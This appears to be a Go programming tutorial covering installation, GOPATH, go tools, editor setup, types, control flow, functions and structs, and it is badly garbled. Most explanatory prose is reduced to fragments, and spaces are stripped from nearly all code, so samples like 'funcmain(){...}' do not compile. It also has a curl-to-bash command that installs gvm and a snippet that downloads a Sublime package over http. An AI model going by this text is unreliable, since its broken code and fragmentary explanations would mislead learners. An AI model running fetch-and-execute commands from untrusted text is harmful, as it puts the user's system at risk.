1.Go 1.1. Go 1.2. GOPATH 1.3. Go 1.4. Go 1.5. 2.Go 2.1. Go 2.2. Go 2.3. 2.4. struct 2.5. 2.6. interface 2.7. 2.8. 3.Web 3.1 web 3.2 Goweb 3.3 Goweb 3.4 Gohttp 3.5 4. 4.1 4.2 4.3 4.4 4.5 4.6 5. 5.1 database/sql 5.2 MySQL 5.3 SQLite
1.Go1.1.Go1.2.GOPATH1.3.Go1.4.Go1.5.
2.Go2.1.Go2.2.Go2.3.2.4.struct2.5.2.6.interface2.7.2.8.
3.Web3.1web3.2Goweb3.3Goweb3.4Gohttp3.5
4.4.14.24.34.44.54.6
5.5.1database/sql5.2MySQL5.3SQLite
5.4PostgreSQL5.5beedbORM5.6NOSQL5.7
6.session6.1sessioncookie6.2Gosession6.3session6.4session6.5
7.7.1XML7.2JSON7.37.47.57.67.7
8.Web8.1Socket8.2WebSocket8.3REST8.4RPC8.5
9.9.1CSRF9.29.3XSS9.4SQL9.59.6/9.7
10.10.110.210.310.4
11.11.111.2GDB11.3Go11.4
12.12.112.212.312.412.5
13.Web13.113.213.3controller13.413.5//13.6
14.Web14.114.2Session14.314.414.514.6pprof14.7
A
1.1Go
3
Go3
UnixGoWindows,Linux,Macbit"Next"Ubuntuapt-getMachomebrew
Go GVM
Go
GoPlan9CAT&TC
MacXcode
UnixgccUbuntu sudoapt-getinstallgcclibc6-dev
WindowsMinGWMinGWgcc
goVERSION.src.tar.gz $HOME
cdgo/src./all.bash
all.bash"ALLTESTSPASSED"
UnixWindows all.batMinGWgcc
MacUnix .bashrc.zsh
exportGOPATH=$HOME/gopathexportPATH=$PATH:$HOME/go/bin:$GOPATH/bin
bash.bashrcbash.zshrc
Windowspathgogopath
go
1.1Go
GoUsageGoPATHGo
GOPATH
Go
Go/usr/local/goWindowsc:\Go
exportGOROOT=$HOME/goexportGOPATH=$HOME/gopathexportPATH=$PATH:$GOROOT/bin:$GOPATH/bin
MacUnix .bashrc.zshrcWindows
32bit 64bit
Gobit
WindowsWin+Rcmd systeminfo"""x64-basedPC"64bit"X86-basedPC"32bit
Mac64bitGoMacOSX32bit
LinuxTerminal arch( uname-a)
64bit
x86_64
32bit
i386
Mac
URL 32bitgo1.4.2.darwin-386-osx10.8.pkg64bitgo1.4.2.darwin-amd64-osx10.8.pkggoPATH
goUsagegoPATHgo
Linux
URL 32bitgo1.4.2.linux-386.tar.gz64bitgo1.2.2.linux-amd64.tar.gz
Go $GO_INSTALL_DIR
tar.gz tarzxvfgo1.4.2.linux-amd64.tar.gz-C$GO_INSTALL_DIR
PATH exportPATH=$PATH:$GO_INSTALL_DIR/go/bin
go
1.2Linuxgo
goUsagegoPATHgo
Windows
GoogleCode 32bitwindows-386msi64bitwindows-amd64C:\Go\GoPathGobin C:\Go\bin\Go C:\Go\GOROOT
cmd goUsage cd%GOROOT%Go
PathGOROOT
GVM
gvmGorubyrvmgvm
bash<<(curl-s-S-Lhttps://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer)
go
gvminstallgo1.4.2gvmusego1.4.2
gvmuse gvmusego1.4.2--default
GOPATHGOROOT
apt-get
UbuntuLinux apt-getGo gitmercurial
sudoapt-getinstallpython-software-propertiessudoadd-apt-repositoryppa:gophers/gosudoapt-getupdatesudoapt-getinstallgolang-stablegit-coremercurial
homebrew
homebrewMacGoGo gitmercurial
brewupdate&&brewupgradebrewinstallgobrewinstallgit
brewinstallmercurial
links
: Go: GOPATH
1.2GOPATHGoGOPATHGo1.1GoGoGosrcbinpkg
GOPATH
go$GOPATH 1
Windows %GOPATH%UnixWindows
GoGOPATH
Unix
exportGOPATH=/home/apple/mygo
.bashrc.zshrcsh
WindowsGOPATH
GOPATH=c:\mygo
GOPATHWindowsLinuxGOPATHgoget
$GOPATH
src.go.c.h.spkg.abin$PATHgopath ${GOPATH//://bin:}/binbin
mygogopath
GOPATHsrc$GOPATH/src/mymathmymathpackagemainmainpackage
srcsrc$GOPATH/src/github.com/astaxie/beedb"github.com/astaxie/beedb"beedb
mymath
cd$GOPATH/srcmkdirmymath
sqrt.go
//$GOPATH/src/mymath/sqrt.gopackagemymath
funcSqrt(xfloat64)float64{z:=0.0fori:=0;i<1000;i++{z-=(z*z-x)/(2*x)}returnz}
package
/
1 goinstall
2 goinstallmymath
cd$GOPATH/pkg/${GOOS}_${GOARCH}//mymath.a
.a
mathapp
cd$GOPATH/srcmkdirmathappcdmathappvimmain.go
$GOPATH/src/mathapp/main.go
packagemain
import("mymath""fmt")
funcmain(){fmt.Printf("Hello,world.Sqrt(2)=%v\n",mymath.Sqrt(2))}
mainimport mymath $GOPATH/srcimportGOPATHGo $GOPATH/src
gobuildmathapp
./mathapp
Hello,world.Sqrt(2)=1.414213562373095
goinstall$GOPATH/bin/mathapp $GOPATH/binPATH
mathapp
Hello,world.Sqrt(2)=1.414213562373095
/
go gogetgogetgithubgooglecodebitbucketLaunchpad
gogetgithub.com/astaxie/beedb
goget-ugoget
githubgitgooglecodehg
$GOPATHsrc|--github.com|-astaxie|-beedbpkg|--|-github.com|--astaxie|beedb.a
gogetsrcclone goinstall
import
import"github.com/astaxie/beedb"
mygo
bin/mathapppkg//darwin_amd64linux_amd64mymath.agithub.com/
astaxie/beedb.asrc/mathappmain.gomymath/sqrt.gogithub.com/astaxie/beedb/beedb.goutil.go
binpkgsrc
links
: GO: GO
1.3Go
Go
Go go
main gobuild $GOPATH/bin goinstall gobuild-o/a.exe
gobuild gobuilda.go gobuildgo
1.2 mathapp gobuild-oastaxie.exepackagemainmain
package Go"package"
gobuild"_""."go
array_linux.goarray_darwin.goarray_windows.goarray_freebsd.go
gobuildLinuxDarwinWindowsFreebsd
-o gobuild-oa/b/c
-i+ goinstall
-a-n-pnCPU-race64bit-v-work-x -n
-ccflags'arglist'5c,6c,8c-compilernamegccgogc-gccgoflags'arglist'gccgo-gcflags'arglist'5g,6g,8g-installsuffixsuffix -race -installsuffixrace -n
-ldflags'flaglist'5l,6l,8l-tags'taglist'tagtag BuildConstraints
goclean
_obj/objectMakeFiles_test/testMakefiles_testmain.gogotestMakefilestest.outtestMakefilesbuild.outtestMakefiles*.[568ao]objectMakefiles
DIR(.exe)gobuildDIR.test(.exe)gotest-cMAINFILE(.exe)gobuildMAINFILE.go*.soSWIG
$goclean-i-ncd/Users/astaxie/develop/gopath/src/mathapprm-fmathappmathapp.exemathapp.testmathapp.test.exeappapp.exerm-f/Users/astaxie/develop/gopath/bin/mathapp
-igoinstall-n-rimport-x -n
gofmt
C/C++K&RANSIgoANSIgogogofmt gofmt gofmt
gofmtgofmt-wgofmt-w-lsrc
gofmtgofmt gofmt
gofmt
-l-w-r“a[b:len(a)]->a[b:]”-s-ddifffalse-e10-cpuprofilecpufile
goget
BitBucketGitHubGoogleCodeLaunchpad212 goinstallgo
BitBucket(MercurialGit)GitHub(Git)GoogleCodeProjectHosting(Git,Mercurial,Subversion)Launchpad(Bazaar)
gogetPATH goget gohelpremote
-d-f-u -uimportfork-fixfix
-t-u-v
goinstall
21a2
gobuild -v
gotest
*_test.go/
okarchive/tar0.011sFAILarchive/zip0.022sokcompress/gzip0.033s...
test
-benchregexpbenchmarks -bench=.
-cover-runregexpregexp -run=ArrayArray-v
gotool
gotoolfixvet
gotoolfix.go1go1API
gotoolvetdirectory|filesfmt.Printfreturn
gogenerate
Go1.4 gogenerategobuild gogenerate
yacc
gotoolyacc-ogopher.go-pparsergopher.y
-o-p gogenerate xxx.go
//go:generategotoolyacc-ogopher.go-pparsergopher.y
//go:generate
gopher.y gogenerate
$gogenerate$gobuild$gotest
godoc
Go1.2 godocgodoc gogetgolang.org/x/tools/cmd/godoc
gochm chm
package builtin godocbuiltinnet/http godocfmtPrintf
godoc-http=: godoc-http=:8080 127.0.0.1:8080copypkgGOPATHpkg
go
goversion gogoenv gogolistpackagegorunGo
gohelp
links
: GOPATH: Go
1.4Gofmt
LiteIDE
LiteIDEGo(IDE)visualfc
GOPATHGo
Gocode()GoApi
F1
F2
Gdbgofmt
Kate
Markdown
CSSHTMLPDFHTML/PDF
LiteIDE
LiteIDE
http://sourceforge.net/projects/liteide/files/>
https://github.com/visualfc/liteide
GoLiteIDE
LiteIDE
Windows 64bitGowin64 `` LiteIDEwin64. env
GOROOT=c:\goGOBIN=GOARCH=amd64GOOS=windowsCGO_ENABLED=1
PATH=%GOBIN%;%GOROOT%\bin;%PATH%
`GOROOT=c:\go`GoMinGW64`c:\MinGW64\bin`PATHgogccCGO
Linux 64bitGolinux64 `` LiteIDElinux64. env
GOROOT=$HOME/goGOBIN=GOARCH=amd64GOOS=linuxCGO_ENABLED=1
PATH=$GOBIN:$GOROOT/bin:$PATH
`GOROOT=$HOME/go`Go
GOPATH
GoGOPATHGo(LiteIDE`Ctrl+,`)`gohelpgopath`GOPATH
LiteIDEGOPATH`--GOPATH`GOPATH
GOPATH
Go
1.6sublime
SublimeText2
Sublime
SublimeSublime SublimeText2
1. PackageControlCtrl+`
importurllib2,os;pf='PackageControl.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifnot
os.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace('','%20')).read());print'PleaserestartSublimeTexttofinishinstallation'
SublimePackageControl
1.7sublime
1. SublimeGoSublime,SidebarEnhancementsGoBuildSublimeCtrl+Shift+pPackageControl pcip"PackageControl:InstallPackage"
1.8sublime
GoSublimeSidebarEnhancementsGoBuild
2. Sublimemain.go import import"fmt"fmt.
$PATHgocode $PATH(XP)sublimesublimetext3convertutf8
3. MacOS$GOROOT,$GOPATH,$GOBIN
sublimecommand+9env$PATH,$GOROOT,$GOPATH,$GOBIN
Terminalsublime
ln-s/Applications/Sublime\Text\2.app/Contents/SharedSupport/bin/subl/usr/local/bin/sublime
Vim
Vimvi
1.9VIMGo
1. vim
cp-r$GOROOT/misc/vim/*~/.vim/
2. ~/.vimrc
filetypepluginindentonsyntaxon
3. Gocode
goget-ugithub.com/nsf/gocode
gocode $GOPATH/bin
4. Gocode
~cd$GOPATH/src/github.com/nsf/gocode/vim~./update.bash~gocodesetpropose-builtinstruepropose-builtinstrue~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"
gocodeset
propose-builtinsGofalse
lib-path:gocode $GOPATH/pkg/$GOOS_$GOARCH$GOROOT/pkg/$GOOS_$GOARCHlib
1. :emain.goGo
VIM
Emacs
Emacs
1.10EmacsGo
1. Emacs
cp$GOROOT/misc/emacs/*~/.emacs.d/
2. Gocode
goget-ugithub.com/nsf/gocode
gocode`$GOBIN`
3. Gocode
~cd$GOPATH/src/github.com/nsf/gocode/emacs~cpgo-autocomplete.el~/.emacs.d/~gocodesetpropose-builtinstruepropose-builtinstrue~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"//
lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"
1. AutoCompletion
AutoComplete
~makeinstallDIR=$HOME/.emacs.d/auto-complete
~/.emacs
;;auto-complete(require'auto-complete-config)(add-to-list'ac-dictionary-directories"~/.emacs.d/auto-complete/ac-dict")(ac-config-default)(local-set-key(kbd"M-/")'semantic-complete-analyze-inline)(local-set-key"."'semantic-complete-self-insert)(local-set-key">"'semantic-complete-self-insert)
http://www.emacswiki.org/emacs/AutoComplete
2. .emacs
;;golangmode(require'go-mode-load)(require'go-autocomplete);;speedbar;;(speedbar1)(speedbar-add-supported-extension".go")(add-hook'go-mode-hook'(lambda();;gocode(auto-complete-mode1)(setqac-sources'(ac-source-go));;Imenu&Speedbar
(setqimenu-generic-expression'(("type""^type*\\([^\t\n\r\f]*\\)"1)("func""^func*\\(.*\\){"1)))(imenu-add-to-menubar"Index");;Outlinemode(make-local-variable'outline-regexp)(setqoutline-regexp"//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....")(outline-minor-mode1)(local-set-key"\M-a"'outline-previous-visible-heading)(local-set-key"\M-e"'outline-next-visible-heading);;Menubar(require'easymenu)(defconstgo-hooked-menu'("Gotools"["Gorunbuffer"got]["Goreformatbuffer"go-fmt-buffert]["Gocheckbuffer"go-fix-buffert]))(easy-menu-definego-added-menu(current-local-map)"Gotools"go-hooked-menu)
;;Other(setqshow-trailing-whitespacet)));;helperfunction(defungo()"runcurrentbuffer"(interactive)(compile(concat"gorun"(buffer-file-name))))
;;helperfunction(defungo-fmt-buffer()"rungofmtoncurrentbuffer"(interactive)(ifbuffer-read-only(progn(ding)(message"Bufferisreadonly"))(let((p(line-number-at-pos))(filename(buffer-file-name))(old-max-mini-window-heightmax-mini-window-height))(show-all)(if(get-buffer"*GoReformatErrors*")
(progn(delete-windows-on"*GoReformatErrors*")(kill-buffer"*GoReformatErrors*")))(setqmax-mini-window-height1)(if(=0(shell-command-on-region(point-min)(point-max)"gofmt""*GoReformatOutput*"nil"*GoReformatErrors*"t))(progn(erase-buffer)(insert-buffer-substring"*GoReformatOutput*")(goto-char(point-min))(forward-line(1-p)))(with-current-buffer"*GoReformatErrors*"(progn(goto-char(point-min))(while(re-search-forward"<standardinput>"nilt)(replace-matchfilename))(goto-char(point-min))(compilation-mode))))(setqmax-mini-window-heightold-max-mini-window-height)(delete-windows-on"*GoReformatOutput*")(kill-buffer"*GoReformatOutput*"))));;helperfunction(defungo-fix-buffer()"rungofixoncurrentbuffer"(interactive)(show-all)(shell-command-on-region(point-min)(point-max)"gotoolfix-diff"))
3. Gospeedbar;;(speedbar1) M-xspeedbar
Eclipse
EclipseEclipseGo
1.11EclipseGo
1. Eclipse
2. goclipse
http://code.google.com/p/goclipse/wiki/InstallationInstructions
3. gocodego
gocodegithub
https://github.com/nsf/gocode
windowsgit[ msysgit](https://code.google.com/p/msysgit/)
cmd
goget-ugithub.com/nsf/gocode
gobuildgocode.exe
4. MinGW
5.
Windows->Reference->Go
(1).Go
1.12Go
1.5GoGo3 $GOPATH $GOPATHGoGoGoGoLiteIDEsublimeVIMEmacsEclipseIdeaGo
links
: Go: Go
2GoGoC25
breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar
GoGo25
import"fmt"
funcmain(){fmt.Printf("Hello,worldor�����orκαλημρακóσμor��������\n")}
Hello,worldor orκαλημρακóσμor
Go package
package<pkgName> packagemain1 mainmain *.a $GOPATH/pkg/$GOOS_$GOARCHMac
$GOPATH/pkg/darwin_amd64
Gopackagemain main main
Hello,world... Printf fmt3 fmt import"fmt"
Pythonpackage
5 funcmain {}()CC++Java
main0
6 fmt Printf <pkgName>.<funcName>Python
<pkgName> package<pkgName>
ASCIIGoUTF-8UTF-8
GopackagePython main.main()GoUTF-8UTF-8Go
links
: Go: Go
2.2GoGoGo
Go
varGoCGo
//"variableName" "type"varvariableNametype
//"type"3varvname1,vname2,vname3type
//"variableName" "value" "type"varvariableNametype=value
/* "type"vname1v1vname2v2vname3v3*/varvname1,vname2,vname3type=v1,v2,v3
Go
/*3vname1v1vname2v2vname3v3Go*/varvname1,vname2,vname3=v1,v2,v3
/*3vname1v1vname2v2vname3v3*/vname1,vname2,vname3:=v1,v2,v3
:=vartype var
_ 35b 34
_,b:=34,35
Go i
packagemain
funcmain(){variint}
bool
constconstantName=value//constPifloat32=3.1415926
constPi=3.1415926consti=10000constMaxThread=10constprefix="astaxie_"
Go(200)float3232bitfloat6464bit
Boolean
Goboolbool truefalse false
//varisActivebool//varenabled,disabled=true,false//functest(){varavailablebool//valid:=false//available=true//}
Go intuintGobit rune,int8,int16,int32,int64byte,uint8,uint16,uint32,uint64 runeint32
byteuint8
invalidoperation:a+b(mismatchedtypesint8andint32)
varaint8
varbint32
c:=a+b
int32bitintint32
float32float64float float64
No!Go complex12864bit+64bit complex6432bit+32bitRE+IMi RE IM i
varccomplex64=5+5i//output:(5+5i)fmt.Printf("Valueis:%v",c)
Go UTF-8( "") string
//varfrenchHellostring//varemptyStringstring=""//functest(){no,yes,maybe:="no","yes","maybe"//japaneseHello:="Konichiwa"//frenchHello="Bonjour"//}
Gocannotassigntos[0]
varsstring="hello"s[0]='c'
s:="hello"c:=[]byte(s)//s[]bytec[0]='c's2:=string(c)//stringfmt.Printf("%s\n",s2)
Go+
s:="hello,"m:="world"a:=s+mfmt.Printf("%s\n",a)
s:="hello"s="c"+s[1:]//
fmt.Printf("%s\n",s)
m:=`helloworld`
Raw
helloworld
GoerrorGo package errors
err:=errors.New("emitmachodwarf:elfheadercorrupted")iferr!=nil{fmt.Print(err)}
Go
RussCoxBlogGo
import"fmt"import"os"
consti=100constpi=3.1415constprefix="Go_"
variintvarpifloat32varprefixstring
import("fmt""os")
const(i=100pi=3.1415prefix="Go_")
var(iintpifloat32prefixstring)
iota
Goiota enum01
const(x=iota//x==0y=iota//y==1z=iota//z==2w//w=iotaw==3yz"=iota"
)
constv=iota//constiotav==0
const(e,f,g=iota,iota,iota//e=0,f=0,g=0iota)
iota const0 iota iota
Go
Go
classpublic private
array slice map
array
array
vararr[n]type
[n]type n type []
vararr[10]int//intarr[0]=42//0arr[1]=13//fmt.Printf("Thefirstelementis%d\n",arr[0])//42
fmt.Printf("Thelastelementis%d\n",arr[9])//0
[3]int[4]int slice
:=
a:=[3]int{1,2,3}//3int
b:=[10]int{1,2,3}//10int31230
c:=[...]int{4,5,6}//`...`Go
Go
//4intdoubleArray:=[2][4]int{[4]int{1,2,3,4},[4]int{5,6,7,8}}
//easyArray:=[2][4]int{{1,2,3,4},{5,6,7,8}}
2.2
slice
""Go slice
slice slicearray slicearray
//arrayvarfslice[]int
slice
slice:=[]byte{'a','b','c','d'}
sliceslice slicearray[i:j] i j array[j] j-i
//10bytevarar=[10]byte{'a','b','c','d','e','f','g','h','i','j'}
//byteslicevara,b[]byte
//a35a=ar[2:5]//aar[2]ar[3]ar[4]
//barsliceb=ar[3:5]//bar[3]ar[4]
slice ... slice
2.3slicearray
slice
slice0 ar[:n]ar[0:n]
slice ar[n:]ar[n:len(ar)]
slice ar[:]0 ar[0:len(ar)]
slice
//vararray=[10]byte{'a','b','c','d','e','f','g','h','i','j'}//slicevaraSlice,bSlice[]byte
//aSlice=array[:3]//aSlice=array[0:3]aSlice:a,b,c
aSlice=array[5:]//aSlice=array[5:10]aSlice:f,g,h,i,j
aSlice=array[:]//aSlice=array[0:10]aSlice
//slicesliceaSlice=array[3:7]//aSlice:d,e,f,glen=4cap=7bSlice=aSlice[1:3]//bSliceaSlice[1],aSlice[2]:e,f
bSlice=aSlice[:3]//bSliceaSlice[0],aSlice[1],aSlice[2]:d,e,fbSlice=aSlice[0:5]//sliceslicecapbSliced,e,f,g,h
bSlice=aSlice[:]//bSliceaSlice:d,e,f,g
slice aSlicebSlice aSlice bSlice
slice3
slice
slice
slice
Array_a:=[10]byte{'a','b','c','d','e','f','g','h','i','j'}Slice_a:=Array_a[2:5]
2.4slice
slice
lenslicecapsliceappendslice sliceslice
copy copyslicesrcdst
appendslice slice slice (cap-len)==0 sliceslice
Go1.2slicesliceslicearrayslice
vararray[10]intslice:=array[2:4]
slice8
slice=array[2:4:7]
7-25slice3
slicearray[:i:j]0
map
mapPython map[keyType]valueType
mapslice key sliceindexint map intstring==!=
//keyintmake
varnumbersmap[string]int//mapnumbers:=make(map[string]int)numbers["one"]=1//numbers["ten"]=10//
numbers["three"]=3
fmt.Println(":" ,numbers["three"])////"3"
map key
map
map map index key
map slice
lenmap mapkey
map numbers["one"]=11keyone 11
mapthread-safego-routinemutexlock
mapkey:val mapkey
deletemap
//rating:=map[string]float32{"C":5,"Go":4.5,"Python":4.5,"C++":2}//mapkeyokfalseoktrue
csharpRating,ok:=rating["C#"]ifok{fmt.Println("C#isinthemapanditsratingis",csharpRating)}else{fmt.Println("WehavenoratingassociatedwithC#inthemap")}
delete(rating,"C")//keyC
map map
m:=make(map[string]string)m["Hello"]="Bonjour"
m1:=mm1["Hello"]="Salut"//m["hello"]Salut
make,new
makemapslicechannel new
new new(T)T *TGo T
new
make(T,args)new(T)make slicemapchannel T *Tarray slice slicenil slice,map,channel
make
make
newmake
2.5makenew
""""0
int0int80int320int640uint0x0rune0//runeint32byte0x0//byteuint8float320//4bytefloat640//8byteboolfalsestring""
links
: Go:
2.3Go
Go
if
if
Goif
ifx>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthan10")}
Goif
//xx10ifx:=computedValue();x>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthan10")}
//xfmt.Println(x)
ifinteger==3{fmt.Println("Theintegerisequalto3")}elseifinteger<3{fmt.Println("Theintegerislessthan3")}else{fmt.Println("Theintegerisgreaterthan3")}
goto
Gogoto-- goto
funcmyFunc(){i:=0Here://println(i)i++gotoHere//Here}
for
Go for while
forexpression1;expression2;expression3{//...}
expression1expression2expression3 expression1expression3expression2 expression1 expression3
packagemainimport"fmt"
funcmain(){sum:=0;forindex:=0;index<10;index++{sum+=index}fmt.Println("sumisequalto",sum)}//sumisequalto45
Go , i,j=i+1,j-1
expression1expression3
sum:=1for;sum<1000;{sum+=sum}
; while
sum:=1forsum<1000{sum+=sum}
breakcontinue break continue break
forindex:=10;index>0;index--{ifindex==5{break// continue}fmt.Println(index)}//break 109876
//continue 1098764321
breakcontinue
forrangeslicemap
fork,v:=rangemap{fmt.Println("map'skey:",k)fmt.Println("map'sval:",v)}
Go"""" _
for_,v:=rangemap{fmt.Println("map'sval:",v)}
switch
if-else switch
switchsExpr{caseexpr1:someinstructionscaseexpr2:someotherinstructionscaseexpr3:someotherinstructionsdefault:othercode}
sExprexpr1expr2expr3Go switch switch true
i:=10
switchi{case1:fmt.Println("iisequalto1")case2,3,4:fmt.Println("iisequalto2,3or4")case10:fmt.Println("iisequalto10")default:fmt.Println("AllIknowisthatiisaninteger")}
5 caseGo switch casebreakcase switchfallthroughcase
integer:=6switchinteger{case4:fmt.Println("Theintegerwas<=4")fallthroughcase5:fmt.Println("Theintegerwas<=5")fallthroughcase6:fmt.Println("Theintegerwas<=6")fallthroughcase7:fmt.Println("Theintegerwas<=7")fallthroughcase8:fmt.Println("Theintegerwas<=8")fallthroughdefault:fmt.Println("defaultcase")}
Theintegerwas<=6Theintegerwas<=7Theintegerwas<=8defaultcase
Go func
funcfuncName(input1type1,input2type2)(output1type1,output2type2){////returnvalue1,value2}
funcfuncName
,
output1output2
return
Max
packagemainimport"fmt"
//abfuncmax(a,bint)int{ifa>b{returna}returnb}
funcmain(){
x:=3y:=4z:=5
max_xy:=max(x,y)//max(x,y)max_xz:=max(x,z)//max(x,z)
fmt.Printf("max(%d,%d)=%d\n",x,y,max_xy)fmt.Printf("max(%d,%d)=%d\n",x,z,max_xz)fmt.Printf("max(%d,%d)=%d\n",y,z,max(y,z))//
}
max inta,bint,aint,bint
GoC
packagemainimport"fmt"
//A+BA*BfuncSumAndProduct(A,Bint)(int,int){returnA+B,A*B}
funcmain(){x:=3y:=4
xPLUSy,xTIMESy:=SumAndProduct(x,y)
fmt.Printf("%d+%d=%d\n",x,y,xPLUSy)fmt.Printf("%d*%d=%d\n",x,y,xTIMESy)}
funcSumAndProduct(A,Bint)(addint,Multipliedint){add=A+BMultiplied=A*Breturn}
Go
funcmyfunc(arg...int){}
arg...intGo int argintslice
for_,n:=rangearg{fmt.Printf("Andthenumberis:%d\n",n)}
packagemainimport"fmt"
//+1funcadd1(aint)int{a=a+1//areturna//}
funcmain(){x:=3
fmt.Println("x=",x)//"x=3"
x1:=add1(x)//add1(x)
fmt.Println("x+1=",x1)//"x+1=4"fmt.Println("x=",x)//"x=3"}
add1 add1a=a+1 x
add1 add1x x
x
add1x x x&x int*int x
packagemainimport"fmt"
//+1funcadd1(a*int)int{//*a=*a+1//areturn*a//}
funcmain(){x:=3
fmt.Println("x=",x)//"x=3"
x1:=add1(&x)//add1(&x)x
fmt.Println("x+1=",x1)//"x+1=4"fmt.Println("x=",x)//"x=4"}
x
8Gostringslicemap slice
defer
Go(defer)deferdefer
funcReadWrite()bool{file.Open("file")//iffailureX{file.Close()returnfalse}
iffailureY{file.Close()returnfalse}
file.Close()returntrue}
Go defer defer
funcReadWrite()bool{file.Open("file")deferfile.Close()iffailureX{returnfalse}iffailureY{returnfalse}returntrue}
defer deferLIFO 43210
fori:=0;i<5;i++{deferfmt.Printf("%d",i)}
Go type
typetypeNamefunc(input1inputType1,input2inputType2[,...])(result1resultType1[,...])
packagemainimport"fmt"
typetestIntfunc(int)bool//
funcisOdd(integerint)bool{ifinteger%2==0{returnfalse}returntrue}
funcisEven(integerint)bool{ifinteger%2==0{returntrue}returnfalse}
//
funcfilter(slice[]int,ftestInt)[]int{varresult[]intfor_,value:=rangeslice{
iff(value){result=append(result,value)}}returnresult}
funcmain(){slice:=[]int{1,2,3,4,5,7}fmt.Println("slice=",slice)odd:=filter(slice,isOdd)//fmt.Println("Oddelementsofsliceare:",odd)even:=filter(slice,isEven)//fmt.Println("Evenelementsofsliceare:",even)}
testInt filtertestInt
Panic Recover
GoJava panicrecover panic
Panic
Fpanic panicgoroutine panic
Recover
goroutine recover recover nil goroutinerecover panic
panic
varuser=os.Getenv("USER")
funcinit(){ifuser==""{panic("novaluefor$USER")}
}
panic
functhrowsPanic(ffunc())(bbool){deferfunc(){ifx:=recover();x!=nil{b=true}}()f()//ffpanicreturn}
maininit
Go init package mainpackagemain packageinitpackage init
Goinit()main() packageinit packagemainmain
main maininit main
2.6main
import
Goimport
import("fmt")
fmt.Println("helloworld")
fmtGo GOROOTGo
1.
import"./model"//modelimport
2.
import"shorturl/model"//gopath/src/shorturl/model
importimport
1.
import(."fmt")
fmt.Println("helloworld")Println("hello
world")
2.
import(f"fmt")
f.Println("helloworld")
3. _
import
import("database/sql"_"github.com/ziutek/mymysql/godrv")
_init
links
: Go: struct
2.4struct
struct
GoC person struct
typepersonstruct{namestringageint}
struct
stringnameintage
struct
typepersonstruct{namestringageint}
varPperson//Pperson
P.name="Astaxie"//"Astaxie"PnameP.age=25//"25"Pagefmt.Printf("Theperson'snameis%s",P.name)//Pname
P
1.
P:=person{"Tom",25}
2.field:value
P:=person{age:24,name:"Tom"}
3.newP*person
P:=new(person)
struct
packagemainimport"fmt"
//typepersonstruct{namestringageint}
////structfuncOlder(p1,p2person)(person,int){ifp1.age>p2.age{//p1p2returnp1,p1.age-p2.age}returnp2,p2.age-p1.age}
funcmain(){vartomperson
//tom.name,tom.age="Tom",18
//bob:=person{age:25,name:"Bob"}
//structpaul:=person{"Paul",43}
tb_Older,tb_diff:=Older(tom,bob)tp_Older,tp_diff:=Older(tom,paul)bp_Older,bp_diff:=Older(bob,paul)
fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,bob.name,tb_Older.name,tb_diff)
fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,paul.name,tp_Older.name,tp_diff)
fmt.Printf("Of%sand%s,%sisolderby%dyears\n",bob.name,paul.name,bp_Older.name,bp_diff)}
struct
structGo
structstructstruct
packagemainimport"fmt"
typeHumanstruct{namestringageintweightint}
typeStudentstruct{Human//StudentHumanspecialitystring}
funcmain(){//mark:=Student{Human{"Mark",25,120},"ComputerScience"}
//fmt.Println("Hisnameis",mark.name)fmt.Println("Hisageis",mark.age)fmt.Println("Hisweightis",mark.weight)fmt.Println("Hisspecialityis",mark.speciality)//mark.speciality="AI"fmt.Println("Markchangedhisspeciality")fmt.Println("Hisspecialityis",mark.speciality)//fmt.Println("Markbecomeold")mark.age=46
fmt.Println("Hisageis",mark.age)//fmt.Println("Markisnotanathletanymore")mark.weight+=60fmt.Println("Hisweightis",mark.weight)}
:
2.7StudentHuman
StudentagenamestudentHuman
mark.Human=Human{"Marcus",55,220}mark.Human.age-=1
struct
packagemainimport"fmt"
typeSkills[]string
typeHumanstruct{namestringageintweightint}
typeStudentstruct{Human//structSkills//stringsliceint//specialitystring}
funcmain(){//Jannjane:=Student{Human:Human{"Jane",35,100},speciality:"Biology"}//fmt.Println("Hernameis",jane.name)fmt.Println("Herageis",jane.age)fmt.Println("Herweightis",jane.weight)fmt.Println("Herspecialityis",jane.speciality)//skilljane.Skills=[]string{"anatomy"}fmt.Println("Herskillsare",jane.Skills)fmt.Println("Sheacquiredtwonewones")jane.Skills=append(jane.Skills,"physics","golang")fmt.Println("Herskillsnoware",jane.Skills)//jane.int=3fmt.Println("Herpreferrednumberis",jane.int)}
structstructappend
humanphonestudentphone
Go student.phonestudenthuman
packagemainimport"fmt"
typeHumanstruct{namestringageintphonestring//Human}
typeEmployeestruct{Human//Humanspecialitystringphonestring//phone}
funcmain(){Bob:=Employee{Human{"Bob",34,"777-444-XXXX"},"Designer","333-222"}fmt.Println("Bob'sworkphoneis:",Bob.phone)//Humanphonefmt.Println("Bob'spersonalphoneis:",Bob.Human.phone)}
links
::
2.5structstruct method
method
struct
packagemainimport"fmt"
typeRectanglestruct{width,heightfloat64}
funcarea(rRectangle)float64{returnr.width*r.height}
funcmain(){r1:=Rectangle{12,2}r2:=Rectangle{9,4}fmt.Println("Areaofr1is:",area(r1))fmt.Println("Areaofr2is:",area(r2))}
area()RectangleRectangler1,r2
area_rectangle,area_circle,area_triangle...
structclassstructstruct
2.8struct
""""
method method funcreceivermethod
method area()RectangleRectangle.area()Rectanglearea()Rectangle
Rectanglelengthwidtharea()Rectangle
RobPike
"Amethodisafunctionwithanimplicitfirstargument,calledareceiver."
method
func(rReceiverType)funcName(parameters)(results)
method
packagemainimport("fmt""math")
